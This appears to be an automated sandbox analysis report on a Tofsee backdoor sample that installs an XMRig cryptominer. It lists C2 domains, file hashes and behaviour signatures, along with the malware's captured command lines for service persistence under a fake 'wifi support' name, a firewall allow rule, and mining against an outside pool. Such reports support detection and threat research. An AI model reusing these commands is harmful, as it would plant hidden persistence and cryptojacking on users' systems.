Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/11/2022, 10:40

General

  • Target
    file.exe
  • Size 173KB
  • Sample221113-mqhmtaba56
  • SHA256 900e5aa7f2218c8e45a703bbc5f197940d4b1abbfa164d1c89276ba00dcf5126
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ajecfhet\
      2⤵
        PID:2076
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\ajecfhet\
        2⤵
          PID:4216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ajecfhet binPath= "C:\Windows\SysWOW64\ajecfhet\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ajecfhet "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ajecfhet
          2⤵
          • Launches sc.exe
          PID:5080
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4240
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 1260
          2⤵
          • Program crash
          PID:4388
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5036 -ip 5036
        1⤵
          PID:2316
        • C:\Windows\SysWOW64\ajecfhet\brkifovu.exe
          C:\Windows\SysWOW64\ajecfhet\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2104
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4084
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2376
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2104 -s 516
            2⤵
            • Program crash
            PID:4156
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2104 -ip 2104
          1⤵
            PID:3984

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                brkifovu.exe

                • Path C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
                • Size 13.1MB
                • SHA256 6bf5719585f625cd00063571210d748d52392707b3459f0dd99159e9b7bdf4ad
                • MD5 SHA1 SHA512 SSDEEP

                brkifovu.exe

                • Path C:\Windows\SysWOW64\ajecfhet\brkifovu.exe
                • Size 13.1MB
                • SHA256 6bf5719585f625cd00063571210d748d52392707b3459f0dd99159e9b7bdf4ad
                • MD5 SHA1 SHA512 SSDEEP

                memory/2104-150-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/2104-149-0x0000000000703000-0x0000000000713000-memory.dmp

                memory/2376-177-0x0000000001000000-0x00000000010F1000-memory.dmp

                memory/2376-172-0x0000000001000000-0x00000000010F1000-memory.dmp

                memory/4084-146-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/4084-165-0x0000000007C00000-0x000000000800B000-memory.dmp

                memory/4084-168-0x00000000023E0000-0x00000000023E7000-memory.dmp

                memory/4084-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

                memory/4084-159-0x00000000023C0000-0x00000000023D0000-memory.dmp

                memory/4084-156-0x00000000023B0000-0x00000000023B6000-memory.dmp

                memory/4084-151-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/4084-152-0x0000000001040000-0x0000000001055000-memory.dmp

                memory/4084-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/5036-132-0x0000000000709000-0x0000000000719000-memory.dmp

                memory/5036-143-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/5036-144-0x0000000000709000-0x0000000000719000-memory.dmp

                memory/5036-134-0x0000000000400000-0x0000000000587000-memory.dmp

                memory/5036-133-0x00000000022D0000-0x00000000022E3000-memory.dmp